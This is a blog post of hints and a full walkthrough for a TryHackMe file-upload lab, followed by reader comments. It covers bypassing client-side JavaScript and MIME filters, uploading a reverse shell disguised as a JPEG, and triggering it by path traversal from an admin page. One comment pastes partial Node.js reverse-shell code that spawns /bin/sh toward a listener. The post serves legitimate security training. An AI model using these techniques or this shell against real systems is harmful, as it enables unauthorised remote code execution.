File Upload Vulnerabilities — Hints

File Upload Vulnerabilities — Hints

TryHackMe Walkthrough Link:

This post contains a series of hints for the final challenge (Jewel) in the File Upload Vulnerabilities room on TryHackMe. With the information here it should be possible to completely walk through the final challenge — however, please take the time to try it for yourself, and use the hints one at a time as and when you get stuck.

Hint One:

Enumerate, enumerate, enumerate. Have you tried Gobusting the site?

Hint Two:

Use the standard /usr/share/wordlists/dirbuster-directory-list-2.3-medium.txt wordlist on the site to begin with. Whilst that runs, look at the source code of the homepage and see if you can find any static files being included…

Hint Three:

You will have noticed that the file upload only accepts JPEG files, and that the background images are stored in /content. Try uploading a legitimate JPEG image (bearing in mind the size filter!), then use the custom wordlist in the room to find your image.

Hint Four:

The Gobuster -x switch will come in handy. Remember that you’re looking for a .jpg file

Hint Five:

Having located your file with gobuster dir -u http://jewel.uploadvulns.thm -w ./UploadVulnsWordlist.txt -x jpg, read through the Javascript client side filters — what are they looking for? Use the techniques taught in task seven to bypass these filters. NB: Do not try a magic number bypass directly. If you receive a HTTP 304 Response code when attempting to intercept the JavaScript file, research what this particular code means, and how to prevent it from occurring.

Hint Six:

As you may have guessed, there is also a server side filter in place. Try using the techniques from task ten for enumerating server side filters.

Hint Seven:

The server side filter is checking for MIME types, contrasting the magic number and file extension checker on the client side.

Hint Eight:

Lemme guess — you’ve uploaded a shell and looked for it in /contents, but it’s just showing as text and not activating? Take another look at your Wappalyzer output, or read the X-Powered-By header by intercepting a Burpsuite response.

Hint Nine:

The server is running on Node.js. Take a look at the /admin page.

Hint Ten:

The admin page is telling you that it will execute modules in the /modules directory — but your file is in /content. Seeing that these are both top-level directories under the web-root, how would you go between them?

Hint Eleven:

Use ../content/<name-of-your-shell>.jpg to activate your reverse shell. Bear in mind that you’ll need to find the name of the shell first if you haven’t already.


Start by using gobuster on Jewel using the /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist (gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt). You’ll see that there is a page called /admin, and a directory called /content. Files you upload will end up in /content with a random three letter filename. Go to the homepage and use Burpsuite to remove the Client-Side Filter as demonstrated in task seven. The webserver is using Node.js (as the X-Powered-By header will show you). Download a Node.js reverse shell from here, and fill it in with your own IP and chosen port. Call the shell “file.jpg” to get around the MIME filter on the server (or edit the MIME type with burpsuite after uploading). Next use gobuster with the wordlist in the room to fuzz for your upload: gobuster dir -u http://jewel.uploadvulns.thm/content -w <path-to-wordlist> -x jpg — notice the -x jpg switch adding the .jpg file extension to each request. Have a look at each of those files in your web browser — one of them will be your shell. Remember the name of this file, and start a netcat listener on your own machine using your chosen port number; then go to the admin page and type in ../content/<name-of-file> — so, for example, it might be ../content/ABC.jpg. You should receive a reverse shell

You should hopefully now have completed Jewel. If you’re still struggling, please feel free to ask for help in the TryHackMe Discord.

The following video walkthrough is also available:

Video Walkthrough for the Upload Vulnerabilities Room

13 thoughts on “File Upload Vulnerabilities — Hints

    1. Hi,
      When you refresh, press Ctrl + F5 to force a full refresh of the page, without relying on any cached information.
      That should fix it 🙂

  1. Hi, I am in task 8 and not able to bypass the server-side filter I tried things like shell.jpg.PHP and shell.jpg.PhP, after these extensions, I am able to upload the files but during execution in /privacy directory instead of executing it, it is showing me an error. Help me in this.

    1. That would be because the server doesn’t recognise PhP or PHP as valid extensions for a PHP file. Wikipedia will give you a list of valid extensions, but you can’t just make them up and expect them to work. Try doing it with the techniques taught in the room.

  2. This one drives me crazy. I upload a revshell.jpg successfully, but no reverse shell connects back…
    var net = require(“net”),
    cp = require(“child_process”),
    sh = cp.spawn(“/bin/sh”, []);
    var client = new net.Socket();
    client.connect(443, “my_tun0_IP_here”, function(){
    return /a/; // Prevents the Node.js application form crashing

      1. I believe my biggest issue was that I was manually changing the magic number…which in turn was preventing the shell from running. At least, that’s my theory. I’ve since gotten it to work by bypassing the filters another way.

  3. I was also strugling with bypasing the JS on front-end, but that Ctrl+F5 helped.
    I did not removed whole script, as I think it broked the upload function, I just adjust it 😛
    even then I could not get the shell, later i figured out that is needed correct netcat command.
    as now we are not using only IP in browser but domain name.
    Amazing room.

  4. When I am stepping through with Burp it never dives into the uploads.js for me to remove the checks. Any ideas why?

    1. That’s usually either because the .js file is still cached (so reload the page with a hard refresh — e.g. Ctrl + F5), or because Burp isn’t configured to intercept .js files. Check the Intercept options to ensure that it is definitely intercepting JavaScript, then try it with a hard refresh. 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *

Enter Captcha Here : *

Reload Image